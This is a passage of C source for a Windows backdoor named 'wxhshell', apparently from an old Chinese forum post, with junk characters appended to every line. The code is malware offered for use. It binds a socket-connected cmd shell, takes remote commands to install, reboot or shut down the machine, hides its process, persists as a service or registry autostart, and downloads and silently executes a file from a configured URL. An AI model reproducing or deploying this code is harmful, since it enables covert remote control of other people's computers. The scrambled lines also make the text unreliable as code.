    switch(cmd[0]) { e/g<<f-  
  Nn~tb2\vk  
  // 帮助 f]O5V$!RuE  
  case '?': { Te{aB"B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^R&_}bp  
    break; ~GsH8yA_P  
  } ZdJVs/33Vn  
  // 安装 yHV^a0e7EH  
  case 'i': { 'M]CZ}  
    if(Install()) h+ `J=a|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5x93+DkO\  
    else eP-R""uPw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r? 6Z1  
    break; 8+@1wks  
    } 8,Q. t7v  
  // 卸载 \rB/83[;u  
  case 'r': { U)IsTk~}O  
    if(Uninstall()) 7zz(#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH7CgI  
    else (@N~ j&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %tklup]LF8  
    break; dK-  ^  
    } :~qtvs;{  
  // 显示 wxhshell 所在路径 R(n0!h4  
  case 'p': { ;@=@N9q K  
    char svExeFile[MAX_PATH]; Uv W:#  
    strcpy(svExeFile,"\n\r"); `Lb _J  
      strcat(svExeFile,ExeFile); `&"H* Ie  
        send(wsh,svExeFile,strlen(svExeFile),0); 59"Nn\}3gE  
    break; -Ihn<<uE?  
    } ~7)rKHau  
  // 重启 mYsuNTx!.  
  case 'b': { ,& \&::R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?trt4Tbe/  
    if(Boot(REBOOT)) z[$9B#P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4q@9  
    else { vh:UXE lm  
    closesocket(wsh); pU'`9f Li_  
    ExitThread(0); Zip K;!9by  
    } w2M IY_N?  
    break;  \!' {-J  
    } ~]i]kU   
  // 关机 iYmzk?U  
  case 'd': { V}Y~z)i0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qx#ghcU  
    if(Boot(SHUTDOWN)) 80R= r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +lXdRc`6  
    else { =_H*fhXS  
    closesocket(wsh); ux/[d6To  
    ExitThread(0); A+bu bH,  
    } 2=Vkjh-  
    break; uV*f  
    } ?L ~=Z\H  
  // 获取shell )=SYJ-ta<  
  case 's': { }X W#?l  
    CmdShell(wsh); @zVBn~=i  
    closesocket(wsh); +2_6C;_DX  
    ExitThread(0); k*UR# z(I  
    break; :BrnRW64  
  } ^QHMN 7r/  
  // 退出 )oz-<zW  
  case 'x': { W0r5D9k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n<"a+TTU  
    CloseIt(wsh); ! A ydhe  
    break; 'piF_5(@  
    } B2Awdw3=g  
  // 离开 S|u1QGB  
  case 'q': { 6r-<XNv)0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  zxynEdO  
    closesocket(wsh); xVwi }jtG|  
    WSACleanup(); cvLcre% >A  
    exit(1); &&QDEDszp  
    break; hnfrnYH  
        } QeOt; {_|  
  } 3vvFF]D5k  
  } _`Yvfz3  
#dn%KMo2r  
  // 提示信息 "l2N_xX;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [7 Kj$PB3  
} gWU(uBS  
  } q_m#BE;t  
WTy8N  
  return; e[VJ0 A=  
} /v5g;x_T  
JD\-X(O  
// shell模块句柄 ;]`NR  
int CmdShell(SOCKET sock) 3Jk?)D y  
{ %onAlf<$:^  
STARTUPINFO si; uhN(`E@  
ZeroMemory(&si,sizeof(si)); l.W1$g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J|64b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _tauhwu  
PROCESS_INFORMATION ProcessInfo; (L6]uNOG  
char cmdline[]="cmd"; W2o8Fu   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f+W[]KK*PW  
  return 0; PTV`=vtj  
} [2fiHE  
;hJ/t/7  
// 自身启动模式 #lVl?F+~  
int StartFromService(void) T;pn -  
{ snk{u/0Xm  
typedef struct KX`nHu;  
{ 7!QXh;u  
  DWORD ExitStatus; ]C:Ifh~  
  DWORD PebBaseAddress; 0R!}}*Ee>q  
  DWORD AffinityMask; gu%'M:Xe  
  DWORD BasePriority; /n3&e  
  ULONG UniqueProcessId; x`|tT%q@l  
  ULONG InheritedFromUniqueProcessId; J$ih|nP  
}   PROCESS_BASIC_INFORMATION; 0Ukl#6  
(j8,n<o  
PROCNTQSIP NtQueryInformationProcess; Q8/0Cb/  
$4~}_phi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a_fW {;}[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LyPBFo[?  
o5G"J"vxe  
  HANDLE             hProcess; s$y#Ufz  
  PROCESS_BASIC_INFORMATION pbi; /v ;Kb|e  
kAF}*&Kzd~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )cmLo0`$  
  if(NULL == hInst ) return 0; kp>Z/kt  
M>z7H"jCu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q1&dB{L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B+H9c~3$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rls#g w  
\rnG 1o  
  if (!NtQueryInformationProcess) return 0; T|iF/p]F  
-v+^x`HR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BNm va  
  if(!hProcess) return 0; Ol5xyj  
}c#/1J7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )PATz #  
Kxaz^$5Y$  
  CloseHandle(hProcess); -/{}^ QWB  
U\GZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >\x 39B  
if(hProcess==NULL) return 0; =X'7V}Q}  
B91PlM.  
HMODULE hMod; "}aM*(l+\  
char procName[255]; _!p$47  
unsigned long cbNeeded; eu|q {p  
e ;u8G/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4W-+k  
1E_Ui1[  
  CloseHandle(hProcess); g~D6.OZU  
Gv3Fg[MA@c  
if(strstr(procName,"services")) return 1; // 以服务启动 /g7?,/vnZ  
6zZR:ej  
  return 0; // 注册表启动 (eE}W~Z  
} ' 1]bjW*!  
#]/T9:  
// 主模块 Ca"+t lO  
int StartWxhshell(LPSTR lpCmdLine) S&) >w5*]U  
{ O!+5As  
  SOCKET wsl; * CGdfdxW  
BOOL val=TRUE; &_hCs![  
  int port=0; =9@yJ9c-  
  struct sockaddr_in door; '*Mb .s"  
mnaD KeA  
  if(wscfg.ws_autoins) Install(); ga9:*G!b{)  
=0yJ2[R7Do  
port=atoi(lpCmdLine); &/FwV'  
xyWdzc] (p  
if(port<=0) port=wscfg.ws_port; . TS=[WGMS  
:Rx"WY  
  WSADATA data; la7QN QW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]lYEJ`  
t? J a q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %Z0S"B 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "(VcYQ+  
  door.sin_family = AF_INET; =}lA|S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;7*@Gf}R  
  door.sin_port = htons(port); M:f=JuAx  
jc`',o'[+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hxi=\2-  
closesocket(wsl); LbknSy C  
return 1; cHct|Z u  
} ]}y'3aW  
Q8:ocEhR  
  if(listen(wsl,2) == INVALID_SOCKET) { o_m.MMEU  
closesocket(wsl); g$LwXfg  
return 1; &JM;jS z  
} }Cg~::,"  
  Wxhshell(wsl); N0hU~|/  
  WSACleanup();  IomJo  
#vwXxr  
return 0;  kovzB]  
;>Qd )'  
} ha~s< I  
3mz>Y*^?0  
// 以NT服务方式启动 Yk&{VXU<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l);8y5  
{ Y\\nJuJo  
DWORD   status = 0; RyD$4jk+T"  
  DWORD   specificError = 0xfffffff; H2cc).8"  
Isb^~c_P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2MeavTr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  gOAluP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =(\!,S'  
  serviceStatus.dwWin32ExitCode     = 0; 4=:eGlU93U  
  serviceStatus.dwServiceSpecificExitCode = 0; @1Lc`;Wd  
  serviceStatus.dwCheckPoint       = 0; >f8,YisH  
  serviceStatus.dwWaitHint       = 0; !2Iwur u  
?\r3 _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }`FPe   
  if (hServiceStatusHandle==0) return; 7?] p\`  
ob #XKL  
status = GetLastError(); FR"^?z?}p  
  if (status!=NO_ERROR) Xy&#}S}9  
{ Q6>( Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5 Vqvb|  
    serviceStatus.dwCheckPoint       = 0; Hp AZ{P7  
    serviceStatus.dwWaitHint       = 0; *X=-^\G  
    serviceStatus.dwWin32ExitCode     = status; W7"sWaOhW  
    serviceStatus.dwServiceSpecificExitCode = specificError; !{;RtUPz*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e[!>ezaIY  
    return; eO G%6C%a  
  } )>p6h]]a  
>FNt*tX<0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }iAi`_\0;  
  serviceStatus.dwCheckPoint       = 0; ~T9[\nU\  
  serviceStatus.dwWaitHint       = 0; it vdzPO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a| cD{d  
} rd{( E  
.5xg;Qg\Y  
// 处理NT服务事件,比如:启动、停止 *JXJ 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k 3XtKPO  
{ g2q=&eI"  
switch(fdwControl) =p6xc}N  
{ VRt*!v<")  
case SERVICE_CONTROL_STOP: c qp#1oM4M  
  serviceStatus.dwWin32ExitCode = 0;  ]plC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RoZV6U~  
  serviceStatus.dwCheckPoint   = 0; JM%#L*;  
  serviceStatus.dwWaitHint     = 0; +dv@N3GV  
  { {%Sw w:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? |dz"=y  
  } gId+hxFa:r  
  return; }Jfo(j  
case SERVICE_CONTROL_PAUSE: ?#m5$CFp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .YRSd  
  break; Ls{fCi/2F  
case SERVICE_CONTROL_CONTINUE: jFfki.H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wQc  w#  
  break; M-gjS6c\3  
case SERVICE_CONTROL_INTERROGATE: 8>9+w/DL  
  break; u'p J 9>sC  
}; X;NTz75  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Z4=3?5B"9  
} V^i3:'  
T\>=o]  
// 标准应用程序主函数 ,}0pK\Y>$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !TF VBK  
{ L')zuI  
<9~qAq7^  
// 获取操作系统版本 b&1@rE-  
OsIsNt=GetOsVer(); S)%x22sqf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t/g}cR^Q  
(1^(V)@  
  // 从命令行安装 |*$_eb  
  if(strpbrk(lpCmdLine,"iI")) Install(); x?IT#ty  
9':$!Eoq  
  // 下载执行文件 T2{+fR v N  
if(wscfg.ws_downexe) { KX`,7-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e j9G[  
  WinExec(wscfg.ws_filenam,SW_HIDE); |.A>0-']M  
} ?H&p zY~H  
`O/)q^m1L  
if(!OsIsNt) { L/I-(08!Y:  
// 如果时win9x,隐藏进程并且设置为注册表启动 0bE_iu>f'  
HideProc(); _f`m/l  
StartWxhshell(lpCmdLine); nq=fSK(  
} 6_Kz}PQ  
else J"y@n ~*0  
  if(StartFromService()) bBX~ZWw  
  // 以服务方式启动 jVz1`\Nje  
  StartServiceCtrlDispatcher(DispatchTable); '<Gqu_-  
else D }\`5L<  
  // 普通方式启动 Ar==@777j  
  StartWxhshell(lpCmdLine); xph60T  
)zN )7  
return 0; ,l6W|p?ZO^  
}
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只看该作者 1 发表于: 2006-10-10
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